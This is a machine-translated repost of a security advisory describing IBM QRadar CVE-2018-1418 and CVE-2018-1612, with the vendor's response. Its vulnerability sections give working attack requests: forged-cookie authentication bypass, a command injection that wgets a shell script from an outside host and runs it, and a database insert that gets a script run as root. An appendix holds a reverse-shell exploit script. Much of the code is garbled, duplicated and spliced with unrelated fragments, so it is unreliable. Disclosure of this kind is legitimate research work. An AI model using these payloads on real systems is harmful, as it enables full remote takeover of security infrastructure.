Shulou(Shulou.com)05/31 Report--

QRadar remote command execution, in view of this problem, this article introduces the corresponding analysis and answers in detail, hoping to help more partners who want to solve this problem to find a more simple and easy way.

QRadar remote command execution

Vulnerability summary

Multiple vulnerabilities in QRadar may allow remote unauthenticated attackers to cause the product to execute arbitrary commands. Each vulnerability itself is not as powerful as a link-this allows the user to change unauthenticated access to authenticated access, to run commands, and finally to run those commands with root privileges.

Supplier response

"you reported this vulnerability to IBM on January 25, and we informed you on April 27 that the vulnerability was fixed. The following is the link to our announcement and confirmation by independent researchers who reported to you: http://www.ibm.com/support/docview.wss? uid = swg22015797. We thank you for your efforts to report these issues to us and for delaying your disclosure until IBM releases revisions.

You were aware of and patched the third vulnerability in the privilege escalation report a few weeks before you reported the initial report. This is the announcement for that particular CVE: http://www.ibm.com/support/docview.wss? Uid = swg22012293.

After we raised concerns about the scores of other vulnerabilities, the scores have been reviewed and some corrections have been made. The reported problems have been divided into separate CVE: a new CVE-2018-1612 for authentication bypass, and an existing unprivileged user CVE-2018-1418 for command injection. The update descriptions and ratings of these CVE are as follows:

CVE-2018-1612 IBM QRadar Incident Forensics may allow remote attackers to bypass authentication and obtain sensitive information

CVSS cardinality: 5.8

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N

CVE-2018-1418 IBM QRadar Incident Forensics allows authenticated attackers to execute the "nobody" command.

CVSS cardinality: 7.4

CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L

The problem with the initial score is that we are trying to improve our process due to communication errors in our process. We apologize for the questionable score we initially disclosed. In addition, although the fix for verifying CVE-2018-1612 is included in patch 11 of 7.2.8, we have found a problem with patch 2 of 7.3.1 and are in the process of releasing iFix? as described by www.ibm.com/support/docview.wss. UID = swg22017062. The command injection problem was fixed in patch 2 of 7.3.1, which was previously released. "

CVE

CVE-2018 to 1418

(note that although only one CVE has been released, the vendor has fixed three vulnerabilities.)

Credit

Pedro Ribeiro, an independent security researcher, reported this vulnerability to Beyond Security's SecuriTeam security disclosure plan.

Vulnerability details

QRadar has a built-in application that allows forensic analysis of certain files. This is disabled in the free Community Edition, but the code still exists, and some of it still works. The application has two components, one is servlet running with Java, and the other is the main Web application running PHP. This vulnerability chain abuses two components of the forensics application to bypass authentication and write the file to disk, and then abuse the cron job to upgrade privileges to root.

QRadar has an Apache reverse proxy in front of all its Web applications, which routes requests based on URL. Requests sent to / console / * are routed to the main "console" application, which not only runs the Web interface, but also performs the main functions of QRadar. Then there are several auxiliary applications, such as the forensics application described above, which can be accessed at / forensics and / ForensicAnalysisServlet,SOLR servers and accessed at / solr and other places.

Technical details

Vulnerability: authentication bypass (in ForensicAnalysisServlet)

Attack vector: remote

Constraints: none

Affected products / versions:

IBM QRadar SIEM:7.3.0 and 7.3.1 confirm; all releases that may have been released since mid-2014 will be affected

QRadar authentication is done through SEC cookie, which is a session UUID. This is managed centrally by the session manager running in the main QRadar console application. SEC cookie can be obtained in three ways:

After logging in in the main console application

Use the previously created authorization token (also created in the console)

From the / etc/qradar/conf/host.token file, which contains the UUID generated during installation, which is used by internal services to perform administrative operations.

ForensicAnalysisServlet stores SEC cookie in HashMap and then checks whether cookie is valid for console applications before committing any actions. Except for a specific code path.

The function doGetOrPost () handles all requests to ForensicsAnalysisServlet. This function performs many operations, such as getting the result file, checking the status of the analysis request, and so on. In order to authenticate, the requestor must register its SEC and QRadarCSRF tokens with servlet. This is done through the application using the setSecurityTokens operation, which is used by the requestor to specify two tags and register them with servlet. In order to authenticate the setSecurityTokens operation, servlet checks whether the host.token SEC cookie is sent with the request.

However, if the forensicsManagedHostIps parameter is sent using the setSecurityTokens operation, doGetOrPost () passes the request to doPassThrough () before authenticating it.

DoPassThrough () also verifies that the request contains a valid SEC cookie... At some point. The problem is that if we send a setSecurityTokens action, we add the SEC and QRadarCSRF values to the servlet HashMap of a valid token at the beginning of the function. And then verify it.

By reverse-engineering the code, it is clear that unauthenticated users can insert arbitrary SEC and QRadarCSRF values into the servlet cookie HashMaps.

To show this, we tried to make a request to servlet and received a 403 error:

Request:

GET / ForensicsAnalysisServlet/?action=someaction HTTP/1.1Cookie: SEC=owned; QRadarCSRF=superowned

Reply:

HTTP/1.1 403 Forbidden

Now let's send a request to add SEC and QRadarCSRF values to the list of valid tokens. Add the own and Super values to valid SEC and QRadarCSRF tokens by sending the following request:

POST / ForensicsAnalysisServlet/?action=setSecurityTokens&forensicsManagedHostIps=something HTTP/1.1Cookie: SEC=owned; QRadarCSRF=superowned;Content-Type: application/jsonContent-Length: 44something1002,something1003,owned,superowned

The server will respond:

HTTP/1.1 200 OK

{"exceptionMessageValue": "javax.servlet.ServletException: No valid forensics analysis host token data found."}

Now that our cookie has been added to SECCookiesMap and QradarCSRFCookiesMap, we can invoke all operations (even cookie operations that need to be authenticated) in ForensicsAnalysisServlet.

So let's try to repeat the initial request, and we get 403:

GET / ForensicsAnalysisServlet/?action=someaction HTTP/1.1Cookie: SEC=owned; QRadarCSRF=superowned

Reply:

HTTP/1.1 200 OK {"exceptionMessageValue": "javax.servlet.ServletException: No valid forensics analysis solrDocIds parameter found."}

Success! We bypassed authentication.

Vulnerability: command injection (in PHP Web applications)

Attack vector: remote

Constraints: authentication required (can be bypassed through vulnerability # 1)

Affected products / versions:

IBM QRadar SIEM:7.3.0 and 7.3.1 confirm; all releases that may have been released since mid-2014 will be affected

The second vulnerability in this vulnerability chain is in the PHP part of the forensic Web application. Adding our SEC and QRadarCSRF cookie to ForensicAnalysisServlet HashMaps with vulnerability # 1 means that we can call any function in the Java part of the application, but the PHP part uses a separate authentication scheme, which has no similar flaws. However, it accepts any request from localhost without authentication. Complete authentication in the PHP section by including the DejaVu / qradar_helper.php file, which calls the LoginCurrentUser function:

Public function LoginCurrentUser ($remember, & $errorInfo) {/ / if local server request don't need to login the user if ($_ SERVER ['REMOTE_ADDR'] = = $_ SERVER [' SERVER_ADDR']) {return true;}

Note that not authenticating local requests is not necessarily a vulnerability, although this is a bad practice because it can lead to the situation we will describe.

So how can we make the request look like it came from localhost? Simple operations such as changing the host HTTP header will not work properly. Fortunately, we can take advantage of ForensicAnalysisServlet doPassThrough () again. After the fragment shown in vulnerability # 1, the function continues to forward the request to the host address entered in the forensicsManagedHostIps parameter.

It is clear from the reverse engineering code that if we send 127.0.0.1 in the forensicsManagedHostIps parameter, we can have ForensicAnalysisServlet forward our request to the PHP Web application and bypass authentication. So how do you use this now? In our PHP application, we have file.php, which has a "get" feature that allows authenticated users to retrieve certain files from the file system. File.php forwards the request to DejaVu / FileActions.php, and it does some checks to ensure that the files are in a restricted set of directories:

Public static function Get () {global $TEMP_DIR, $PRODUCT_NAME, $QRADAR_PRE_URL_PATH; $pcapArray = array_key_exists ('pcap', $_ REQUEST)? $_ REQUEST [' pcap']:'; $acceptablePaths = array ("/ store/forensics/case_input", "/ store/forensics/case_input_staging", "/ store/forensics/tmp") $docid = array_key_exists ('docid', $_ GET)? $_ GET [' docid']:'; $guitype = array_key_exists ('gui', $_ GET)? Htmlspecialchars ($_ GET ['gui'], ENT_QUOTES):' standard'; $path = array_key_exists ('path', $_ GET)? $_ GET [' path']:'; if (! empty ($path)) {$path = urldecode ($path); $path = FileActions::validate_path ($path, $acceptablePaths) If (empty ($path)) {QRadarLogger::logQradarError ("FileActions.Get (): operation failed"); return;}} if (! empty ($docid)) {$doc = IndexQuery::GetDocument ($docid, $guitype); if ($doc) {$savedFile = new SavedFile ($doc) If ($savedFile- > hasFile ()) {if ($savedFile- > isLocal ()) $savedFile- > sendFile ($guitype); else $savedFile- > doProxy ();} else send404 ();} else send404 () } else if (! empty ($path)) {if (file_exists ($path)) {if (! SavedFile::VetFile ($path, $guitype)) return; readfile ($path);} else send404 ()

The code path we are interested in clicking on is pcapArray, as shown below. If we send an PHP array with several pcap parameters, the Web application will compress these files before sending them:

} else if (is_array ($pcapArray)) {$hostname = array_key_exists ('hostname', $_ REQUEST)? $_ REQUEST [' hostname']: $_ SERVER ['SERVER_ADDR']; if (count ($pcapArray) > 1) {$basename = uniqid () ".zip"; $zip_filename = $TEMP_DIR. "/". $basename;} else {$zip_filename = $pcapArray [0] ['pcap']; $basename = basename ($zip_filename);} for ($I = 0, $j = count ($pcapArray); $I

< $j ; $i++) { $pcapFileList[] = $pcapArray[$i]['pcap']; } if (count($pcapArray) >

1) {/ / More than one pcap, so zip up the files and send the zip $fileList = implode ('', $pcapFileList); / / error_log ("filename > >" .$ filename); / / error_log (print_r ($fileList,TRUE)) } else if (is_array ($pcapArray)) {$hostname = array_key_exists ('hostname', $_ REQUEST)? $_ REQUEST [' hostname']: $_ SERVER ['SERVER_ADDR']; if (count ($pcapArray) > 1) {$basename = uniqid () ".zip"; $zip_filename = $TEMP_DIR. "/". $basename;} else {$zip_filename = $pcapArray [0] ['pcap']; $basename = basename ($zip_filename);} for ($I = 0, $j = count ($pcapArray); $I

< $j ; $i++) { $pcapFileList[] = $pcapArray[$i]['pcap']; } if (count($pcapArray) >

1) {/ / More than one pcap, so zip up the files and send the zip $fileList = implode ('', $pcapFileList); / / error_log ("filename > >" .$ filename); / / error_log (print_r ($fileList,TRUE))

This obviously results in command injection, using the pcap file name:

$cmd = "/ usr/bin/zip-qj $zip_filename $fileList 2 > & 1"; / / error_log ("\ $cmd =". $cmd); $result = exec ($cmd, $cmd_output, $cmd_retval); $cmd = "/ usr/bin/zip-qj $zip_filename $fileList 2 > & 1"; / / error_log ("\ $cmd =". $cmd); $result = exec ($cmd, $cmd_output, $cmd_retval)

Right! It allows us to execute code as httpd Web server users, which are unprivileged "nobody" users. For example, to download and execute shell from 172.28.128.1, we can send the following GET request, provided we have created a valid SEC and QRadarCSRF cookie using vulnerability # 1:

GET / ForensicsAnalysisServlet/?forensicsManagedHostIps=127.0.0.1/forensics/file.php%3f%26&action=get&slavefile=true&pcap [0] [pcap] = / rand/file&pcap [1] [pcap] = $(mkdir-p / store/configservices/staging/updates & & wget-O / store/configservices/staging/updates/runme http://172.28.128.1:4444/runme.sh & & / bin/bash / store/configservices/staging/updates/runme) & HTTP/1.1Cookie: SEC=owned; QRadarCSRF=superowned

This will take a few seconds to process, but eventually our shell is downloaded and we get the following response:

HTTP/1.1 200 OK {"exceptionMessageValue": "javax.servlet.ServletException: No valid forensics analysis forensicsManagedHostIps parameter found."}

The pcap [1] [pcap] parameter is displayed as unencoded for easy reading, but the actual use of this parameter should be fully URL encoded. As you can see, we can use forensicsManagedHostIps to select the host address, and we can inject the URL path that will be used.

Be careful when selecting the directory where you want to download files. "nobody" users cannot write / tmp, but a good choice is / store / configservices / *, which is used for a variety of tasks and can be written by "nobody". Select (and create) / store / configservices / staging / updates / because it plays a central role in our upcoming root privilege escalation vulnerability.

Vulnerability: privilege escalation ("unmanned" user to root)

Attack vector: local

Constraint: requires "unmanned" user shell (available through vulnerability # 2)

Affected products / versions:

IBM QRadar SIEM:7.3.0 and 7.3.1 confirm; all releases that may have been released since mid-2014 will be affected

The final step in full ownership of QRadar is to upgrade the privileges of our limited "nobody" users to root.

To do this, we can use the following cron jobs to run every minute as root:

# Check if autoupdate should be run* / opt/qradar/bin/UpdateConfs.pl > / dev/null 2 > & 1

The code is complex, so for brevity, it will not be shown here. However, this Perl script calls checkRpm () and then checkRpmStatus (). The latter takes the autoupdate_patch database table and checks to see if there are any entries to process. If the file entry name ends with .rpm, it will call processRpm () to install it, otherwise it will call installMinor (), and it will run "sh + x" on the file entry. These file entries should be in the "update_download_dir" directory, and you can use psql-U qradar-c to select values from autoupdate_conf, where key = 'update_download_dir' "is obtained, but it is / store / configservices / staging / updates / default. As described in vulnerability # 2, / store / configservices / * can be written by "nobody", so we can dump any file we want, create directories, and so on.

Fortunately, "nobody" users can access the database-after all, Java and PHP server processes need to access it, and they run as "nobody". Because "nobody" users cannot access the / tmp directory, we cannot rely on passwordless local sockets to connect to the database; so we have to use TCP / IP, which means we need a database password. The password is located in / opt/qradar/conf/config_user.xml (readable by "nobody") and stored in encryption, but can be decrypted using the code of the built-in shell script.

So once we have the database password, all we need to do is add the entry for the table to the script we control (for example, / store/configservices/staging/updates/owned.sh) and run it as root within a minute:

PGPASSWORD=$PASSWORD / usr/bin/psql-h localhost-U qradar qradar-c "insert into autoupdate_patch values ('owned.sh',558,'minor',false,1337,0,'',1,false,'',false)"

The exploit script that performs this privilege upgrade and returns the root reverse shell to 172.28.128.1 shell 4445 is shown in Appendix A. This file can be written using a combination of vulnerabilities # 1 and # 2 to complete a complete exploit chain, allowing unauthenticated users to remotely implement root code execution.

Appendix A:

#! / bin/bash# our reverse shell that will be executed as rootcat / dev/null | cut-d =-f2`FRAMEWORKS _ PROPERTIES_FILE= "frameworks.properties" FORENSICS_USER_FILE= "config_user.xml" FORENSICS_USER_FILE_CONFIG= "$NVACONF/$FORENSICS_USER_FILE" # get the encrypted db password from the configPASSWORDENCRYPTED= `cat $FORENSICS_USER_FILE_CONFIG | grep WEBUSER_DB_PASSWORD | grep-o-P'(?) ([\ w\ =] *) (? = {'Proc' = > Proc.new {| cli Req | on_request_uri (cli, req)} 'Path' = > "/ # {@ payload_name}"}) home.php?mod=space&uid=154034 =% {#! / bin/bash # our payload that's going to be downloaded from our web server cat / dev/null | cut-d =-f2`FRAMEWORKS_PROPERTIES_FILE= "frameworks.properties" FORENSICS_USER_FILE= "config_user.xml" FORENSICS_USER_FILE_CONFIG= "$NVACONF/$FORENSICS_USER_FILE" # get the encrypted db password From the config PASSWORDENCRYPTED= `cat $FORENSICS_USER_FILE_CONFIG | grep WEBUSER_DB_PASSWORD | grep-o-P'(?) ([\\ w\ =] *) (? = uri_step2 +'&'+ payload_step2 'method' = >' GET', 'cookie' = > "SEC=# {@ sec_cookie} QRadarCSRF=# {@ csrf_cookie}; ",}) # now we just sit back and wait for step 2 payload to be downloaded and executed #... And then step 3 to complete. Let's give it a little more than a minute. Sleep 80 endend's answer to the question about QRadar remote command execution is shared here. I hope the above content can be of some help to you. If you still have a lot of doubts to be solved, you can follow the industry information channel for more related knowledge.

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.